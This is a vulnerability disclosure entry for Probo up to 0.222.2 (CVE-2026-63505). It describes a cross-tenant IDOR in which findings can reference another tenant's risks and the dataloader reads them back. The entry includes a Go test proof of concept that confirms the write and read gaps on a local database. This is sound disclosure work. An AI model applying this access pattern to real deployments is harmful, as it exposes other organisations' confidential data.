[webapps] Probo 0.222.2

# Exploit Title: Probo 0.222.2 - IDOR # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/getprobo/probo # Software Link: https://github.com/getprobo/probo # Version: <= 0.222.2 (fixed 0.223.1) # Tested on: Linux # CVE: CVE-2026-63505 # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-63505-probo Finding.riskId / ProcessingActivity.dataProtectionOfficerId are stored without a tenant-scoped load, and the read resolver authorizes the parent while the dataloader scopes by the child's own GID -> cross-tenant read. Advisory: GHSA-c74x-79w6-63jh. NOTE: PoC is a Go test using embedded-postgres. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (idor_test.go) --- package idorpoc import ( "context" "fmt" "testing" "time" " http://github.com/stretchr/testify/require " " http://go.gearno.de/kit/pg " " http://go.probo.inc/probo/internal/test " " http://go.probo.inc/probo/pkg/coredata " " http://go.probo.inc/probo/pkg/gid " ) // TestFindingRiskCrossTenantIDOR is a benign, runtime PoC for the cross-tenant // IDOR in the Finding->Risk relation (console v1): // - Write gap: http://FindingService.Create/Update (finding_service.go:147,248) store // req.RiskID with no scoped validation; coredata Finding.Insert has no tenant // FK on risk_id. => an org-A finding can reference an org-B risk. // - Read gap: findingResolver.Risk (audit_resolvers.go:303) authorizes the // *finding* (org A), then the dataloader (dataloader.go:223) scopes by the // *risk's own GID* (NewScopeFromObjectID) => returns the org-B risk. // Benign marker: a sentinel risk name created in org B is read back through the // org-B-scoped load that the resolver uses. func mkOrg(t *testing.T, client *pg.Client) (gid.TenantID, gid.GID, *coredata.Scope) { t.Helper() tenantID := gid.NewTenantID() orgID := gid.New(tenantID, coredata.OrganizationEntityType) now := time.Now() err := client.WithTx(context.Background(), func(ctx context.Context, tx pg.Tx) error { _, err := tx.Exec(ctx, `INSERT INTO organizations (id, tenant_id, name, created_at, updated_at) VALUES ($1,$2,$3,$4,$5)`, orgID.String(), tenantID.String(), "org-"+orgID.String(), now, now) return err }) require.NoError(t, err) return tenantID, orgID, coredata.NewScope(tenantID) } func TestFindingRiskCrossTenantIDOR(t *testing.T) { client := test.PGClient(t) ctx := context.Background() tenantA, orgA, scopeA := mkOrg(t, client) tenantB, orgB, scopeB := mkOrg(t, client) _ = tenantA const sentinel = "SECRET-ORG-B-RISK-do-not-disclose" riskB := &coredata.Risk{ ID: gid.New(tenantB, coredata.RiskEntityType), OrganizationID: orgB, Name: sentinel, Category: "confidential", Treatment: coredata.RiskTreatmentMitigated, Note: "internal", InherentLikelihood: 3, InherentImpact: 3, ResidualLikelihood: 2, ResidualImpact: 2, CreatedAt: time.Now(), UpdatedAt: time.Now(), } require.NoError(t, client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error { return riskB.Insert(ctx, tx, scopeB) }), "seed org-B risk") // --- WRITE GAP: create a finding in org A referencing org B's risk --- findingA := &coredata.Finding{ ID: gid.New(tenantA, coredata.FindingEntityType), OrganizationID: orgA, Kind: coredata.FindingKindObservation, Status: coredata.FindingStatusOpen, Priority: coredata.FindingPriorityMedium, RiskID: &riskB.ID, // <-- cross-tenant risk id, attacker-supplied via CreateFindingInput.riskId CreatedAt: time.Now(), UpdatedAt: time.Now(), } writeErr := client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error { return findingA.Insert(ctx, tx, scopeA) // scope = org A, exactly as FindingService.Create does }) require.NoError(t, writeErr, "WRITE GAP: org-A finding must NOT be allowed to reference org-B risk, but Insert succeeded") t.Logf("WRITE GAP confirmed: org-A finding %s stored risk_id=%s (org B)", findingA.ID, riskB.ID) // --- READ GAP: the dataloader scopes by the risk's OWN gid (org B) --- loaded := &coredata.Risk{} readErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error { // exactly what dataloader.fetchRisks does: scope := NewScopeFromObjectID(riskGID) return loaded.LoadByID(ctx, conn, coredata.NewScopeFromObjectID(riskB.ID), riskB.ID) }) require.NoError(t, readErr, "READ GAP: risk should not be loadable by an org-A request") require.Equal(t, sentinel, loaded.Name) t.Logf("READ GAP confirmed: org-A request read org-B risk name=%q via NewScopeFromObjectID(risk.gid)", loaded.Name) // --- CONTRAST: proper org-A scoping would NOT find org-B's risk --- contrast := &coredata.Risk{} cErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error { return contrast.LoadByID(ctx, conn, scopeA, riskB.ID) // org-A tenant scope }) require.Error(t, cErr, "CONTRAST: org-A-scoped load of org-B risk must fail (proves the scope-from-key choice IS the bug)") fmt.Printf("\n=== CROSS-TENANT IDOR CONFIRMED ===\norg-A finding referenced org-B risk (write gap) AND org-B risk %q was disclosed via risk-gid scope (read gap); org-A-scoped load correctly failed (%v)\n", sentinel, cErr) }